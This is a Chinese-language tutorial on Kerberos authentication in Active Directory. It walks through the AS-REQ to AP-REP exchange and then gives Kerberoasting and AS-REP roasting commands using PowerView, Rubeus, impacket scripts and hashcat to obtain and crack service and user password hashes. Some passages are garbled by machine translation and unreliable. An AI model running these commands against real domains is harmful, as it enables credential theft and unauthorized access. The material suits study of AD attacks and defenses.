Skip to main content

Kerberos认证与利用

Kerberos


深入了解 Kerberos 协议对于 AD 的利用十分重要。Kerberos 是 Active Directory 中一个非常有趣的话题,因为许多利用都是基于 Kerberos 的。自 Windows Server 2003 开始​​,Kerberos 充当着身份认证的主要角色。NTLM 认证采用了质询与挑战的机制,而 Kerberos 是基于票据系统的。

因此,在利用 Kerberos 之前,我们应该理解 Kerberos 认证的每一步。在 Kerberos 认证中,有这么几个角色我们需要知道:

客户端:登录其工作站的终端用户

KDC:域中的域控制器,由身份认证服务器 AS,和票据授予服务器 TGS 组成

服务/资源服务器:终端用户在认证后想要访问的服务或资源所在的服务器,如 MSSQL 服务器实例、SMB 共享目录等所在的服务器

image.png

步骤 1:AS-REQ

当终端用户登录时,客户端向域控制器的认证服务器发送请求。请求中包含了使用用户密钥加密的时间戳。根据 Kerberos 所使用的加密类型,例如 AES256_HMAC_SHA1,密钥则由用户名、密码、域名生成 (如果是 RC4,那么密码的 NTLM 哈希就可以)。

步骤 2:AS-REP

当认证服务器 AS 收到了请求,查询该用户的存在,并用 AD 数据库中该用户的凭证所得到的的密钥来解密该时间戳。如果该时间戳有效,那么 AS 返回使用 krbtgt 密钥加密后的 TGT用户密钥加密后的会话密钥 1 (客户端与认证服务器之间) 。因为会话密钥 1 是使用用户密钥加密的,用户可以自行解密并且重用。TGT 包含了诸多用户的相关信息,包括权限信息 (组归属),时间戳、地址、会话密钥 1。


步骤 3:TGS-REQ

客户端使用自己的密钥解密得到会话密钥 1,并用会话密钥 1 加密时间戳。客户端向票据授予服务器 TGS 发起请求,指定要访问的服务的 SPN,并提交得到的 TGT。


步骤 4 步:4:TGS-REP

方向:客户端 -> KDC

行动:退回票据授予服务器 TGS

提供:加密的目标 SPN,以及在步骤 2 中使用先前 krbtgt 的密钥解密 TGT,从而得到会话密钥 1,再用会话密钥 1解密请求中其他信息,如时间戳。如果一切校验无误,TGS 返回使用会话密钥 1 加密的会话密钥 2 (客户端与资源服务之间的会话密钥) ,以及服务票据加密的 TGS 服务证,其中包含带有服务密码哈希的用户信息

详细信息:KDC 验证目标 SPN、客户端主体名称、目标资源TGT、用户SPN,以及会话密钥 2 等信息等是否有效。然后 KDC (TGS) 返回 TGS-REP。,服务票据被资源账户的密钥加密


步骤 5 步:5:AP-REQ

方向:客户 ->服务

行动:请求服务访问

提供:客户端用户名,使用客户端和服务之间的会话密钥 1 来解密会话密钥 2,于是客户现在有了服务票据以及会话密钥 2 了。客户向资源服务器发起请求,请求中包含了服务票据、使用会话密钥 2 加密的时间戳,使用服务的密码哈希加密的 TGS 票证和客户端主体

详细信息:客户端向服务服务器发送 AP-REQ。


步骤 6 步:AQ-6:AP-REP

方向:服务 -> 客户

行动:向客户端授予服务访问权限

提供:无

详细信息:服务资源服务器使用 SPN 对应的账户的密钥解密 TGS 服务并检索得到会话密钥 2,进而解密得到时间戳和客户端用户名主体如果有效,则服务资源服务器还会检查客户端是否有足够的权限例如其所在分组用户 Alice 是组“Server Admin”的成员,而组“Server Admin”对服务器 SRV1 具有本地管理员权限。如果是,则一切无误即授予访问权限


下图详细解释每一步

image.png


简化流程


Kerberos 认证实际上很复杂,在大多数情况下,我们不需要记住每一步的每一个细节,我们可以稍微简化流程以帮助快速理解。假设在以下步骤中,没有任何异常发生,例如错误的凭证、网络的不稳定、权限不足。

客户端认证

第 1 步:客户端向 KDC (AS) 请求 TGT

第 2 步:KDC (AS) 将 TGT 返回给客户端。

客户授权

第 3 步:客户端向 KDC (TGS) 请求 TGS 票据

第 4 步:KDC (TGS) 将 TGS 票据返回给客户端

访问请求

第 5 步:客户端请求访问特定的资源

第 6 步:如果客户端具有权限 (例如属于特定分组),则授予访问


Kerberoasting 攻击

如果服务在域用户帐户的上下文下在域计算机上运行,则它是服务帐户,并且应该设置 SPN。 SPN 是服务实例的唯一标识符。 krbtgt 总是设置了 SPN,但它是不可利用的。

image.png


根据前面提到的 Kerberos 身份验证流程,我们可以发现服务帐户的密码哈希用于加密 TGS 票证。 因此,Kerberoasting 是一种通过为目标服务帐户请求 TGS 票证来检索 krb5tgs 哈希的技术。 之后就可以离线破解krb5tgs hash,希望能得到明文密码。

提供:加密的目标 SPN,以及在步骤 2 中使用先前会话密钥的客户端和服务之间的会话密钥。加密的 TGS 票证,其中包含带有服务密码哈希的用户信息

攻击

在 Windows 上

搜索:

获取-NetUser -SPN (PowerView.ps1)

image.png

开发:

rubeus.exe kerberoast /format:hashcat /user:[服务帐户] /nowrap

image.png


在 Linux 上

开发:

python3 GetUserSPNs.py -request -request-user [target user] -dc-ip [dc ip] [domain fqdn/user:password] (impacket)

image.png

破解哈希:

hashcat -a 0 -m 13100 krb5tgs.txt rockyou.txt

image.png


ASREPRoasting 攻击

如果域用户不需要 Kerberos 预身份验证,我们可以为用户请求 AS-REP 并从部分回复中检索 krb5asrep 哈希。 希望我们可以破解哈希并获得明文密码。

image.png

攻击

在 Windows 上

搜索:

获取-NetUser -PreAuthNotRequired (PowerView.ps1)

image.png

开发:

rubeus.exe asreproast /format:hashcat /user:[目标用户] /nowrap

image.png

在 Linux 上

开发:

python3 getNPUsers.py -dc-ip [dc ip] [domain fqdn] -userfile [user list] -format hashcat (impacket)

image.png

破解哈希:

hashcat -a 0 -m 18200 krb5asrep.txt rockyou.txt